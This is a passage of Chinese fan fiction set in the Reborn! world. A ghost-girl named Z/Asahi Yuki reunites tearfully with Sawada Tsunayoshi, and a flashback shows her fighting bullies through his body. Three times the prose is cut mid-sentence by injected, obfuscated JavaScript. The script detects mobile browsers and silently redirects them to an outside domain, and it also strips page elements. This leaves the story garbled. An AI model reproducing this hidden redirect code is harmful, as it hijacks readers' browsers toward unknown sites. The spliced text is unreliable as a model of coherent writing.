虽然我呐喊了一通但在沢田纲吉的嘴遁之下,我再三犹豫,还是戴上了魔术帽。望着夕阳下沢田纲吉(?)的画像,我坚毅了神情,转身投入黑暗之中…… 与黑暗组织做斗争,途中还要应付青梅竹马山本武的询问,在认识了魔法师(划掉)售货员狱寺隼人之后,我的生活更是坠入奇幻的世界…… …… 这对吗这对吗,版权费付了吗你就怪盗Kid!!!向怪盗Kid道歉啊!!! 我甩甩脑袋,把这魔幻的想法扔出八千里外。 问题还是没有解决,沢田纲吉到底会和我说什么呢?在切换悬疑、科幻、异世界冒险等等剧本之后,我终于想起了人类文明中经久不衰的命题:爱情。 · 场景C。 沢田纲吉眼泪汪汪地牵起我的手:“终于找到你了,美玲!我很想念你!” 我也眼泪汪汪地回握他的手:“虽然不知道我们的过往但我一见到你就很亲切!我们过去的关系一定很好!” 沢田纲吉:“你忘了吗,我们已经私定终身了,我爱你啊!” 我大惊失色:“还有这种事?等等,但是我们认识的时候,我其实是附身在你身上的吧……” 怎么会有人爱上摸不到见不着的鬼魂?沢田纲吉从镜子里看到的人……只有他自己啊! 我露出了兼任心理医师的侦探的犀利的眼神:“你有没有想过你有一个第二人格,而你真正爱的人其实是你自己……” 沢田纲吉茫然复读:“自己?” 我连忙和他说明这世上存在有一些人,他们拥有着不同人格,不同的人格性格和能力都有微妙的差异,或许这位来到我的侦探所寻求帮助的可怜人正是因此而苦恼。 我问:“你是不是有时候被迫做一些本来不想做的事呢?” 沢田纲吉想起自己曾被威逼利诱花零花钱去买不同口味的零食,连忙点点头,又忍不住辩解:“一开始不想做……但是后来我是愿意了的。” 我自动忽略后半句,接着问:“你是否有时候认为脑子里有另一个人的声音?” 沢田纲吉说是啊。 我拍板下结论:“果然没错了!美玲啊也就是我,只是你幻想出来的存在而已!阿纲,事到如今也只能坦白了……” 在沢田纲吉颤抖地吃下精神类药物后,我如同奶油一般消融在他的世界中,他回到了现实,勇敢面对着真正的人生,而我,不过是他的幻想而已。 多年之后沢田纲吉成为彭格列首领,回忆往昔时不禁微微怅然,曾经有个人出现在他的世界里,可惜那个人却只是一个幻象…… …… ……个屁啊!!! 我捧着我的脸捏圆捏扁,怎么看都是个真实人物。第二人格什么的才不存在!接连作出奇怪的猜测后我对我的预想失去了信心也失去了耐心,我干脆气势汹汹地在纸条上写“好啊”,然后扔回去,恶狠狠瞪着窗户的玻璃。 倒要看看他想对我说什么! 他回给我一个微笑,软得像棉花。我的气势一下就被戳破了。 我掩耳盗铃地移开目光,看向剩下两个纸团。先拆谁的呢……直觉告诉我狱寺隼人看上去很凶但是最好哄,我拆开了他扔过来的纸团。 这家伙用奇怪的文字写:“你鬼鬼祟祟地想做什么?” 22.替我做决定 我鬼鬼祟祟? 我本想大怒,转念一想不久之前我也还是个鬼啊。鬼鬼祟祟这个词虽有点不好听,形容我倒也算得上合适。 而且、我认真辨认了一下,确定这语种不属于意大利语、也不属于日本语,准确来说它不属于世界上任何一种流行的语言。 偏偏我却能看得懂。就像我是这文字的创始人之一似的,又或者我吃了某种菌子——我才看了一眼,脑海里就自动跳出了它的意思。 所以说为什么我看得懂呢。 ……理由是现成的、站得住脚的,但我乃是天下一流的鸵鸟,就算把证据按到我脑门上我也会坚定否认。而且我还得假装我根本没发现这是擒拿我的证据才行。 我理直气壮大笔一挥:“请说国语!看不懂鬼画符。”接着把纸团砸回银发少年脑袋上。他被砸了个猝不及防,抬起头来恶狠狠地瞪我。 略——我扒住下眼睑,给他做了个鬼脸。 他被我的威严镇住,表情发僵,保持着想要拍桌而起的姿势愣愣瞧着我,然后被班主任骂:“你在做什么呢狱寺君!快点坐好!” 哼哼,他恐怕已被我吓得三魂去了七魄吧!这家伙仍然怔怔看着我,直到班主任威严扫地、怒气冲冲走下讲台,他才把脸扭回去。 最后是山本武的纸条。 他邀请我去他家的寿司店。最近似乎是海产丰收的季节,而他极力诱惑我,天花乱坠地描述了寿司的品种和美味之处。 我看了一会儿,犀利地回信:“其实描述是抄的店里的招牌吧。” 他讪讪地写:“只抄了一半……” 虽然整个年级都不会有人的成绩能和我跟沢田纲吉一较高下,但山本武仍然算得上一匹黑马:显然他把所有精力都花在了感兴趣的事物上,考试这种小事他常忽略而过,以至于好几次我发现他的排名向我逼近。 他的国文水平显然不足以支撑他写出“丰腴肥美”等形容词,大概就是抄了寿司店招牌的介绍。但还有一半的描述是他自己写的,我琢磨了一下,应该没有寿司店会用“吃了会开心地想要流泪想起朋友”的描述来介绍自己家的寿司吧……。 我想了想,没有拒绝,给了肯定的答复,不过最好把时间挑在客流量不多的时候。将纸团扔回去的时候山本武伸臂正好抓住,避开班主任恐怖的视线,他转头对我露出一个得意的接住了棒球的笑。 · 因为和沢田纲吉的谈话,我中午不得不和京子她们依依惜别。 京子哭笑不得:“抱得太紧了……”只是一次不在一起吃午饭而已呀。 我拦腰抱住她,用悲伤的语气闷闷地道:“京子,如果我走了,你会想念我吗?” “你要转学吗?”黑川花在一旁问我。 我摇了摇头:“只是有仇家……” 算仇家吗?算仇家吧?说起来我也一直在犯嘀咕,恨不得给之前那个还留存着记忆却不用纸笔记下来的自己两个大耳刮子:你这个傻子,什么都忘光了,那你怎么知道对方是敌是友啊! 虽然感觉沢田纲吉对我没恶意、没准他也曾和我有过什么约定,但我怎么能肯定我在抢他身体的时候没和他发生矛盾呢? 再退一步,我们真的没有发生矛盾,但其他人呢? 我掰指头数了数,十三次——十三个人。和十三个人都没有怨仇的可能性也太低了,八成这里头一半的人得跟我有仇恨不得把我大卸八块。 而且沢田纲吉这家伙……我这两天躺在家里无聊翻看《Jump》越看越觉得不对劲,沢田纲吉怎么那么像热血漫主角——虽然一开始是废柴但三十年河东三十年河西多年之后沢田纲吉登顶天下第一什么的…… 万一沢田纲吉就是主角、脑袋上套着个光环,把大大小小的NPC都吸引过来怎么办?吸引别人不打紧,但如果这里面还有我的仇人…… 就因为这该死的问题,我这几天都在搬家和不搬家的选择中犹豫不定。虽然暂时做好了决定不去热带雨林,但是——但是—— 到底该怎么选啊!噫呃啊啊啊啊啊啊啊啊啊啊啊我的脑袋好痛!是谁在殴打我的脑子绝对是你吧沢田纲吉你给我道歉啊!!! 我癔症发作,抱着京子就是一阵悲从中来的呜呜呜乱蹭。黑川花在旁边看着我满脸无语。 京子却没有制止我,仍然抱着我,等我平静了一点后才跟我说:“如果要去很远的地方,能不能在走之前给我一个联系方式呢?我希望能够一直和你保持联系。” “哪怕隔着很远……阿雪也会是我永远的朋友。” 我愣愣地看着她,她歪了歪头,突然莞尔一笑:“哪怕换了身体也一样。” 我和她四目相对。 …… ……… 就这样说出来了没关系吗!京子!这么肯定的吗! 我被她的话炸得容光焕发、神采奕奕,只觉得为了京子我也不会跑路的。至于什么沢田纲吉啊狱寺隼人啊山本武的,你们等着吧,我可是一只老鬼,打倒你们不是手到擒来吗! 我握着京子的手承诺我绝不会突然消失,她说也不算突然啦、你是和我告过别。 “不过我也想过以后都见不到你了的可能……”她回握我的手,笑着说,“所以,看到你出现在我面前的那一刻真是很惊喜呢。” 我不敢问太多、生怕她知道得太多、这些信息反而成为她的负担。可是憋了半天,我还是忍不住扭扭捏捏地问出了口:“……所以,京子是怎么认出我的呢?” 她笑眯眯地捏了捏我的脸,说早就想这样做了。我顺势蹭了蹭她的手心,软绵绵地说我也早就想这样做了。 “真像猫咪呢……”京子慢慢地说。 “阿雪就是阿雪,虽然沢田君也是很好的男子汉,但果然一看到阿雪我就很喜欢你。” 她弯起了眼睛:“和身体无关…阿雪有很漂亮的灵魂。” 我的眼睛因为这句话而眼泪汪汪。 京子接着说下去:“说起来是我占了便利,旁观者清嘛。沢田君大概还纠结了几天?这段时间他都是犹豫不决的样子。” 她说:“别太欺负他了,阿雪,他也很想你。” 我犹犹豫豫:“我怕他约我真人快打。” “……他打得过你么?”她叹了口气,扶正了我蹭来蹭去的脑袋,“你都遵守了和我的约定,总不能去违他的约。” 哦,我模糊的记忆里,是和京子做了以后会找她的约定。……虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15858148|174244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然我来并盛町的初衷不是因为她,但阴差阳错我倒是也完成了诺言。 而我和沢田纲吉做了什么约定呢? 我正想旁敲侧击一下京子,看她知不知道一些详情,等得不耐烦的黑川花就把她从我的怀抱中抢走了。我伤心地控诉她们扔下了我,黑川花递给我一块糖。 “什么,”我拆开糖纸把糖扔进嘴里。 她连忙大叫这糖只是暂时给我保管并不是给我吃的让我赔给她。 我无辜地看着她。 “当然了你是赔不起的,”她恢复了冷酷的神情,“所以你这家伙快点闭嘴吃糖去把事情解决,免得我向你索赔。” 我腮帮子里含着糖,眼睁睁看着她俩毫无情义地走远了。 我舔着糖块垂头丧气地往楼梯口走,先是豪情壮志,觉得干脆先和沢田纲吉说个清楚好了;走了两步我又犹豫不决起来、觉得这件事还能再拖上一拖。 不等我做下决定,楼梯处的身影就把我吓了一跳。 我停住脚步。 …… 我难以抉择。 沢田纲吉帮我做出了决定。 少年就要在楼梯拐角的三角位处,垂着手臂,斜倚着墙壁,不知在想些什么,听到我的脚步声,他连忙抬起头来,褐色的眼睛在楼梯间不充足的阳光中浸润着,微微晦暗、却因见到我而放光。 他没有丝毫停顿、仿佛已经下定决心,不断积蓄的勇气就这样推着他流畅地喊出了我的名字。 他喊的名字是Z。 · Z是谁啊? 我条件反射想要这样问,少年隐在额发下的晦暗的眼睛却叫我想起了那天他哭得发红的眼眶。我被延迟到来的心虚击中了,扶着楼梯的把手,僵持了一会儿,我才慢吞吞地迈开步子向他走去。 “啊,是我啦——大概,”离他还有三步距离,我停下脚步,谨慎地开始打补丁,“那个什么,嗯,如果你刚好碰到过一只鬼、那只鬼还不是你的幻觉、并且排除你有精神病史不是精神分裂的可——” 我的话没说完,他已伸出手,迫不及待地揽住了我的脖子,接着用力地将我拉向他。好像章鱼擒住了维生的猎物、海盗将海中的珍宝拉到船上、黑手党首领将他的珍宝捧到眼前,那种势在必得的架势叫我大吃一惊。 慌乱之下,我微微用了一点儿力气抵抗,想要停留在原地,他的手臂却很有力,前后作用力不平衡,我趔趄一下,“咚”一声往前倾倒,额头和他的撞到了一块。 我倒是不痛,可奇怪的是,大家都说胆小怯弱的沢田纲吉似乎也不痛。 他全然没管发红的额头,抓着我好像抓住了救命稻草,不断地收紧手臂,生怕我挣脱他的怀抱。我觉得有点儿喘不上气了,满脑子都是跑路,快跑路?——可马上我的所有挣扎都被封印住。 他又哭了。 甚至比上次更加过分。上次他虽然也哭了,可我不明原因、他也怯怯地不与我说明缘由,那时候我以为他的眼泪无关我、就算和我相关,也只占了一小部分。 这一次,我却清清楚楚知道,他全然是为了我而哭泣。 因为他的眼泪沾到了我的侧脸上。 温热的湿漉漉的水流。 23.崩裂成黑白的粉末 “……” 彭格列未来的十代目是个爱哭鬼! 我气急败坏地下定义,在心里大骂一通。先骂你这家伙怎么回事啊动不动就哭!接着骂我才不是那种心软的人不是你哭一哭就会动摇,最后我在心里大吼出声你这家伙还不放开我我让你好看哇!!! “……” 现实却是沢田纲吉啪嗒啪嗒掉眼泪,在我的侧脸、在我的脖颈、在我的衣服上,这些沉重的液体渗透进布料,滚烫地将我的皮肤都烙印出痕迹。 ——而我就这样被封印住了。别说四肢躯干,就连嘴唇都像是被吐了胶水,怎么也说不出轻飘飘的伤人的话语。 他的手臂像抓娃娃机的夹子——如果真的是就好了好歹那样还能松一点——毅然决然地选择了我,然后把我这个可怜人抓得紧紧的。 提问透过布料传递过来,他就像一团热烈的火,一片明亮的太阳,我的犹豫、我的畏惧、我的茫然,都在他的拥抱中蒸发殆尽。 此时此刻,我再迟钝,也能意识到我的承认对沢田纲吉有多重要。 ……或者说,我这个人,对他而言有多重要? 我蠕动着嘴唇:“那个……那个。” “对不起啊,”我想了想,小声地说,“我不知道你……你这样想念我。” 我只是模模糊糊知道我和人有约定。模模糊糊知道或许我和人有仇。但我对后者的认知深刻过前者:我认为仇恨能让人记得更加刻骨铭心——想想吧,过了七年,我复活的第一件事就是去捅死我的仇家! 所以我更倾向于隐瞒这十三段曾经附身其他人的经历。虽然可能会毁约,但我乐观地想,总不会有人对一只鬼念念不忘呀、时间会冲淡一切的、没什么大不了的。 沢田纲吉的反应却告诉我,不是这样的。 他很想念我。 这样浓烈的想念被捧到我面前,我又不敢置信又彷徨,生怕是错觉,没准他是出于其他目的来做这些。 眼泪偏偏是这个世界上最最最珍贵的东西。无论如何它也不会说谎。 所以沢田纲吉想念我。 ……那么,是我毁约了。 “对不起,”我又认真说了一遍,这次声音更大了一点儿,该道歉的时候我绝不会含糊。 然后我说:“我们重新认识一遍吧?” “沢田纲吉。” 他全身颤抖了一下,然后慢慢松开了我,退开两步。 我们四目相对,有些昏暗的楼梯间,少年的眼瞳像琥珀,里面凝固着为我振动羽翅的时光。 我和他对视了一会儿,伸出了手:“我是Z,也是朝暮雪。阿纲。好久不见。” 他伸出手握住了我的。温热的湿漉漉的手心和他这个人一样。 他没有马上回答,看了我好久,久到我的耐心快要消耗殆尽,他才慢慢说:“Z……阿雪。好久不见。” 他的声线从颤抖到平稳,少年的目光落在我身上,最后一个音节吐出的时候,我觉得他的视线就像猎人的捕兽夹,咔嚓一下合上,把猎物牢牢抓住,咬定离手,再也不会放开。 我不禁打了个寒战。 嗯,我想,日本这时候还是有点冷了。 · 重要的问题说完了,接下来是不可避免的细枝末节问题。我们开始往教室的方向走。 我说:“你要负责我衣服的干洗。” 我狐疑:“除了眼泪,你不会还往我衣服上抹鼻涕了吧……。” 沢田纲吉跟在我身后,弱声弱气地反驳:“才没有……” 虽然他的脸上除了水痕,看上去还是干净的,可我才不信他呢——这世界上怎么会有哭起来还能控制住自己鼻涕流向的人——我把外套脱下来往他的手上一放,理直气壮地说:“明天带给我。” 把事情都说开之后我只觉得神清气爽。太好了!沢田纲吉全无找我算账的意思,看来他并没有和我结仇;看在这段时间相处还算愉快的份上,我琢磨着还是收他做我的小弟——当然要偷偷的别给彭格列发现了——于是又像从前一样吆五喝六地对他提起了要求:“作为赔罪我还要提子拿破仑吃。” 他点头。 我继续理直气壮:“话说今天布置的国文作业好多啊,把你的给我抄一下。” 沢田纲吉表情复杂:“……确定要抄我的吗?” 我沉痛地道:“抄别人的不是一眼就被看出来了吗…。” 这个班上能够与我顶峰相对的只有一个沢田纲吉。只有他能够和我竞争倒数第一的位置,也只有他的作业我才能够放心抄,而不必担心老师翻看着作业本哼笑一声冷冷道朝暮同学你一定是抄别人的吧这种题你怎么会做呢! 沢田纲吉被我的理由说服了,并且表示放学的时候我们可以碰头一起写作业。两个菜鸟凑在一起虽然还是菜,但至少分工合作效率会提升。 我问:“这是邀请吗?” 他说:“是啊。阿雪同意吗?” 我想了想两个菜鸟对着同一道题抓耳挠腮的画面,忍不住想笑。但我又有点顾虑,因为我知道Reborn现在就在沢田宅,而我每想到不断我那上涨的悬赏金额,我的牙齿就会突然磨在一起。 沢田纲吉:“阿武也会去哦。” 排挤……!这是小团体的联手排挤!怎么能扔下我一个人这也太不公平了!我马上就想说去!去的就是这个沢田宅!我们三个菜鸟组合那是缺一不可! 可是Reborn…… 沢田纲吉:“你知道的,妈妈会做提子曲奇招待客人。” 这下不得不去了。 我沉重地拍了拍沢田纲吉的肩膀:“真是辛苦妈妈了……” 沢田纲吉笑了。 他慢吞吞跟在我身后走了一段。午后的阳光落在长廊上,然后落到我们身上,金黄色,暖洋洋。 · 就像是梦一样。 金色的阳光、瓷黄的走廊、绿茵如织,纷纷扬扬的色彩都崩裂成黑白的粉末,唯独走在前面、步履轻盈的少女像一副色彩浓烈的油画,在他的世界中清晰而明亮。 她笑着说着什么。 沢田纲吉出神地感受着从她身上溢出来的快乐的气息。 如果这是个梦、能在梦中一直看到她。沢田纲吉想,这个梦一直持续下去也不错。 ……可以一直持续下去吗? 他情不自禁地问出了声。 · 我听到沢田纲吉问我:“那……我们会这样下去一辈子吗?”语气里怀着天真的憧憬。 我不太明白他指的“这样”是哪样。我转头看他:“一辈子很长的呀阿纲。” 他又隐隐低落下去,蔫蔫的发尖显示他垂头丧气:“……嗯。这个啊,我知道的。” 我转过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15874492|174244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身来,倒着走路,看着他语重心长:“因为一辈子很长,所以不能随便许下承诺。不然那不就是存心骗人了吗?”一想到从前我可能用“一辈子”来做过保证我就心虚,私以为那是我在不择手段地哄骗人家。 我说:“而且我们现在不就在一块吗?我觉得这样的日子不错。何必去说那么久远以后的事情呢。” 我七岁那年可没有想到我还会有十四岁的青春呀。相比起久远的未来,果然还是现在更重要吧。 沢田纲吉闷闷地说:“我只是觉得这样的日子很不真实。” “哪里不真实了?” “就像做梦一样……” 我顿住脚步,他反应不过来、直直向我靠近。我守株待兔,伸出手戳了戳他的脸,他被我吓了一大跳,被我手指碰到的地方马上就红了起来,他强装镇定,可是声音发抖:“你你你你……” “哼,”我好整以暇地看着他,“你不会又准备转身就跑吧?兔子阿纲,这次你跑了可就不是一块小蛋糕能解决的事了!” 说的是上次我碰了碰他的耳垂、他就跑得不见踪影的事。说起来沢田纲吉这家伙真奇怪啊,我根本摸不清他害羞的点是什么:他为什么害羞?跑得那么快;有时候他又突然不害羞了:比如说刚才,他抱得我喘不过气来。至于现在么,他的脸红得像番茄。 “什么兔子阿纲啊……”他小声地嘀咕。 “叽里咕噜的别说那么多废话,”我不耐烦地抓着他的手,转过来戳我的脸。 他显然没料到我来这一着,褐色的瞳孔放大,手指下意识蜷缩,在碰到我的脸时好像被烫到一样拼命想要收回去——收到中途顿住了。 他瞪着我,好像要看清我。 半晌,他僵直在半空的手,小心翼翼地碰了碰我的脸颊。 我心说原来人的脸和手温度是差不多的,再抬头时他整个人已经变成了一座雕像。 所以、总之是感受到了吧。 在他彻底凝固的表情中,我满不在乎地说:“这样可以证明了吧,看清楚了啊,我是真实存在的。才不是什么精神药物就能消灭的存在!什么梦不梦的、阿纲,你想得也太多了!” 接着我再次抓着他的手,半拖半带地将他牵回教室。我倒不是想怎么着,只是这家伙好像石化了——整个人一动也不动,午休时间又很短,秉承着同学爱,我还是把他带了回来。 我把他按到座位上坐好,他呆愣愣地直着上半身,突然往桌子上一趴,把脸埋在了手臂之间。 他头上好像在冒蒸汽。真的假的? 山本武过来好奇地问我他怎么了。 我想了想,回答:“可能没吃午饭饿了。”看看都饿得趴在桌子上了。 说着我摸了摸肚子:“……我也饿了。”和果子吃完了,琴子奶奶还是没回来,今天没有便当吃……。 狱寺隼人向他的十代目献殷勤,刚好路过我的书桌,闻言啧了一声,扔过来一个包装。 我接过来一看,发现是一块提拉米苏。虽然是工厂统一制作的流水线产品,但毕竟是块提拉米苏。 我指了指自己:“给我?” 他哼了一声:“给狗吃的!” 我:“汪汪汪。”偶尔当狗也不错。 然后我拆开提拉米苏吃了起来。 狱寺隼人:“……” 他翻着白眼跺着脚走了。 24.沢田纲吉回忆篇(二) 抱住她的时候只顾着流眼泪了。 沢田纲吉这个迟钝的家伙,将伤心肆无顾忌地向四周倾洒。这其中多少有些理直气壮的委屈:是因为你我才这样伤心的呀!你不应该为此负责吗? 她果然为此负责了。 被惊吓住了一样,有点儿无措地任由他抱着、像被封印住的抱抱熊,身上散发出暖洋洋的气息。 沢田纲吉汲取着这些气息,身体分泌出快乐的多巴胺。 不管她是鬼还是人,她一出现,就能让沢田纲吉感到快乐。虽然她总是一不留神就溜掉,但是沢田纲吉已经找到了对付她的方法: 很早之前他就敏锐地意识到,这位游移不定的鬼魂小姐挺讲道理,偏偏又很心软—— 就因为那点儿愧疚,就任凭他作出这样亲昵的动作。 ……事实上,就算是久别重逢,也不会有这样亲昵吧。 《Jump》上的漫画多少有点儿夸大,现实里朋友重逢总是含蓄:大多数时候人们尴尬地寒暄,浅尝辄止的拥抱就已经算得上感情深厚,妄论是——妄论是这样长久的怀抱。 沢田纲吉只见过一次这样热情的拥抱,那是他年纪很小的时候,泽田家光突然回了沢田宅。他满脸疲惫、身上有血味,看到沢田奈奈时温和了神情,两人深深地拥抱、大有一块儿变成雕像的趋势,最后是沢田纲吉肚子饿了,忍不住大哭出声,这才拆开了他们。 沢田奈奈喊着“还在锅子里煮呀”跑进了厨房,在微妙的糊味中,沢田家光将儿子捞了起来,好笑地说:“哎呀哎呀,你这坏蛋。我可是很久没见到你妈妈了。” 沢田纲吉说话还很含糊,但这时候他的脑袋异常灵光,于是在沢田家光惊讶的目光中,他吐出一个新学不久、还未巩固的词语:“想念……?” 沢田家光惊喜地夸他居然已经会了这个词。接着摸了摸他的头,说:“是啊,想念。” 从此沢田纲吉在心里埋下种子,知道想念代表的是长久的怀抱、人们用最原始的方法来表达自己的感情。 当然,后来他隐隐约约是意识到了的:这样深情长久的怀抱,应当出现在感情深厚的情侣之间,就像他的父母一样。 现在他越界了。 可是、可是…… 他小心地收紧了手臂,感受着触到的温暖,嗅闻着她发间的气味。 难得干坏事的少年心虚地想:只是偶尔一次,应该没关系吧? 他真的很想她。 · 沢田纲吉十四岁这年还很相信“永远”这个词。 “废柴纲,你这种家伙,一看就是永远的社会底层了啊哈哈哈哈!” “沢田君!你的分数永远那么低,什么时候你才能改变一下?” “阿纲还是个小孩子呢,永远长不大似的……” 永远这个词轻飘飘地压在沢田纲吉肩膀上,被说得多了之后,沢田纲吉也开始相信,或许他要当一辈子的废柴纲、永远是社会底层、永远…… 就像现在一样。 沢田纲吉的眼前投下阴影,高大的混混们向他逼近,不怀好意的笑容让他头皮发麻、下意识就想交出自己的零钱夹。 “啊哈哈哈哈,不愧是废柴纲啊,永远这样好欺负啊!” 为首的高年级学长大笑着伸出手抓住了零钱夹,往回收手时却受到了阻碍。 他愕然看向沢田纲吉。 少年抓着零钱夹的一角,手指用力得发红,无论如何也不愿意放手。 “哪来的什么永远,”怒气冲冲的声音在沢田纲吉脑海里响起来,“我今天就要把这个永远撕了!” 沢田纲吉惊慌失措——他甚至不知道自己应该先慌张什么,是慌乱她居然能控制他的身体,还是惶恐于她居然敢和面前的混混反抗?他大脑一片空白,下意识地出声:“可是——” “没有可是,都打到我们头上来了还不反抗。蠢纲,给我拿出点勇气来啊!” 勇气……?哪里是那么容易就有的东西? 沢田纲吉正想再劝:零钱夹里的钱花得都差不多了并没有多少、这群混混看在风纪委员会的面上只要不反抗他们一般也不会动手、打起来的话有害无利…… 诸多理由尚未出口,他的身体就动起来,一拳甩在了面前的混混下颚上。 “呃啊…!” 混混被打了个趔趄,不留神间把自己的舌头咬破,疼痛令他又惊又怒:“废柴纲,你这小子疯了吗!喂,你们几个给我一起上啊!” 久不经锻炼的身体拼尽全力甩出的一拳没能彻底打倒人高马大的混混,反而引来了更多的敌人。沢田纲吉惊慌失措地叫了起来:“你在干什么啊?!” 她也大叫:“当然是在给他们点颜色瞧瞧啊!” 这是沢田纲吉第一次认识到,这位不速之客是个练家子。他没想过自己能做出这样的动作,好几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15881298|174244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次他看着向他面门砸来的拳头,大脑一片空白——下一秒,他就灵活地躲了过去,接着在刁钻的位置出拳,砰一声把对面的人打得一愣又一愣。 “不要打了、不要打了……”沢田纲吉孱弱的呼声被她彻底忽略。 她在混混之中游走,像只怒气冲冲的鱼。 敌人太多了,双拳难敌四手,她躲得有点儿吃力,抽空不满地发难:“身体软绵绵的一点力道也没有啊!蠢纲你是怎么锻炼身体的!” “对不起啊我没有好好锻炼我的身体让你受委屈了,”沢田纲吉下意识道歉,反应过来也生气了,“等等,这明明是我的身体——呃!” 他发出一声短促的痛呼。 所谓乱拳打死老师傅,少年的身形又毕竟单薄,哪怕有神秘老爷爷开挂,沢田纲吉也被高他一头又人数众多的混混们一记拳头砸到了鼻梁上。 鼻管发凉,铁锈味涌进大脑。 就算这样他也没手去捂鼻子——混混开始摇人,对手越来越多,甚至有人打红了眼提着棍子冲了上来。 被打中一拳之后,攻击接踵而来。除了重点要害部位,几乎身体的每个位置都吃了几记拳头。沢田纲吉感觉自己被打成了肉酱、几乎不能思考,但他的身体居然还在动—— “混蛋,别仗着人多就了不起,看我旋风霹雳杀头锤!” 在众人眼中,平时胆小懦弱的废柴纲怒吼着,手里抓着他们的老大不放,任由他们的攻击落在身上,只一下又一下地抓着老大的衣领子,狠狠地将他的脑袋摁着往地上砸。 “咚、咚、咚!” 几乎每一下都能把人砸出脑震荡,但更让人毛骨悚然的是她嘴里还在念叨着:“不能见血、不能见血,嗯,阿纲是个胆小鬼,见了血会害怕的。” ……他在说什么啊?难道他真的疯了? 混混们面面相觑,只觉白毛汗浸湿背后的衣衫。正在这时,少年料理完首獠,一跃而起,面目狰狞地扑过来:“轮到你们了——给我死!!!” 混混们为这气势所震,一时僵硬住了手脚。咚咚咚,少年一个扫堂腿干倒几个,砰砰砰,又赏赐他们几个拳头,接着在他们惊恐的目光中,他一个转身,拔腿就跑。 “快跑!快跑!!!后面还有追兵!” 她在脑海中撕心裂肺地大喊:“痛死我了啊!!!怎么会那么痛,感觉被扔进绞肉机了!!!” “快跑!!!” 25.沢田纲吉回忆篇(三) 身体一路狂奔,沢田纲吉也大喊:“那你还打那么猛!”他还以为她没有他的痛觉呢! “怎么可能退缩啊,难道要被叫一辈子的废柴纲吗?我不允许!” 她催促:“总之跑快点,被追上我们就完蛋了!” 沢田纲吉感受到身后举着棍棒的追兵,头皮发麻,也不知从哪儿来的力气灌进两条腿里,少年一通狂奔,潜力无限,一路甩开了敌人、冲进了家里,趁着沢田奈奈从厨房走出来之前,他三步并两步跑进房间,关上门后把自己放倒在地上。 “呼!呼、呼……” 他剧烈地喘气,四肢瘫软,身体各处的疼痛反刍涌上来。他还没来得及喊痛,罪魁祸首就再一次抢先叫了起来。 “好痛啊!都怪你不锻炼身体、痛死我了!呜呜呜呜呜……” 她似乎真的很痛,呱唧呱唧地开始嚎叫,沢田纲吉的指责和怨怼就在这叫声中消失殆尽。他甚至后知后觉地心虚起来,为自己没有好好锻炼身体。 ……不对。 他有什么好心虚的啊! 明明只要交钱就能过关,现在打了一架、之后大概率还会被找麻烦,而且身上都是伤,等会怎么和奈奈妈妈解释?处理伤口也是个问题、他现在动一下都很艰难啊! 沢田纲吉缓过神来,也发现了端倪,他指出:“你是在假哭吧。” 她的哭声戛然而止:“被你发现了,嘿嘿。” 沢田纲吉:“……” 沢田纲吉:“所以你也没有痛觉吧!” 刚才那种情况下,如果还保留痛觉的话,打到一半就会忍不住痛哭涕流了、怎么可能坚持那么久,还把混混老大给擒住磕头。 沢田纲吉想到这里便觉得轻信她的自己很蠢。这家伙根本就是仗着没有痛觉乱来,她打架打得高兴,苦果却都是他来受了! 他正想大声指责她,话到嘴边却一时语结、不知该说些什么。思绪混乱之间他心中甚至闪过一丝庆幸,庆幸她没有痛觉—— “这个没有骗你啦,”她说,“我也很痛啊!被打的时候感觉要被打成肉饼了。” 他愕然。 她接着说下去:“可是一想到不给他们点颜色瞧瞧,他们就还会说什么‘永远的废柴纲’的话……火气就忍不住涌上来,拳头也不由自主地动了起来。” 她认真地道:“我说啊,阿纲,听到那种话的时候,你就不生气吗?你就不难过吗?” 沢田纲吉抿着嘴,彻底说不出话了。他感受着泛滥在身体中的痛觉,望着天花板。 白茫茫的一片啊。 “可是,就算我生气,就算我难过,也没有用啊。” 半晌,房间里响起少年的声音,单调、茫然、泛着平庸:“我……我成绩很差,没有人缘,体能也不行,就算我生气和难过,我又能做什么呢?” 她说:“可是这怎么能永远下去呢。阿纲。就算用很鸡汤的话来说,你也要鼓起勇气来改变啊。” “你都说了这是鸡汤了……”他嘟囔。鸡汤不都是不现实的吗。 他睁大眼睛,望着虚空:“我都不知道勇气能从哪儿来。” 沢田纲吉的人生中,能让他汲取勇气的东西太少了。人富有某样事物时就能大言不惭,将做某事说得轻而易举,只有一无所有的人才知道,很多事情都难如登天:就比如现在,她说“鼓起勇气”时轻描淡写,对于沢田纲吉而言,这却几乎不可能。 